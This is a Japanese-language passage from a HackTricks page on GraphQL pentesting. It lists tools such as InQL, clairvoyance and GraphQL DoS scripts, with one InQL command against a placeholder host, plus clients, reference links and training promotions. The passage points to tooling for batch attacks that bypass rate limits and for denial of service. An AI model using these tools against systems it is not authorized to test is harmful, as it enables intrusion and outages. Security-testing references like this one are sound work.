- https://github.com/doyensec/inql: 高度な GraphQL テストのための Burp 拡張機能または Python スクリプト。スキャナー は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。アタッカー コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、これは不適切に実装されたレート制限を回避するのに役立ちます:
python3 inql.py -t http://example.com/graphql -o output.json
- https://github.com/nikitastupin/clairvoyance: 一部の Graphql データベースの助けを借りて、イントロスペクションが無効になっていてもスキーマを取得しようとします。
一般的な脆弱性を悪用するためのスクリプト
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: 脆弱な graphql 環境におけるサービス拒否脆弱性を悪用するためのスクリプトのコレクション。
クライアント
- https://github.com/graphql/graphiql: GUI クライアント
- https://altair.sirmuel.design/: GUI クライアント
自動テスト
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL を説明するビデオ: https://www.youtube.com/watch?v=JJmufWfVvyU
参考文献
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。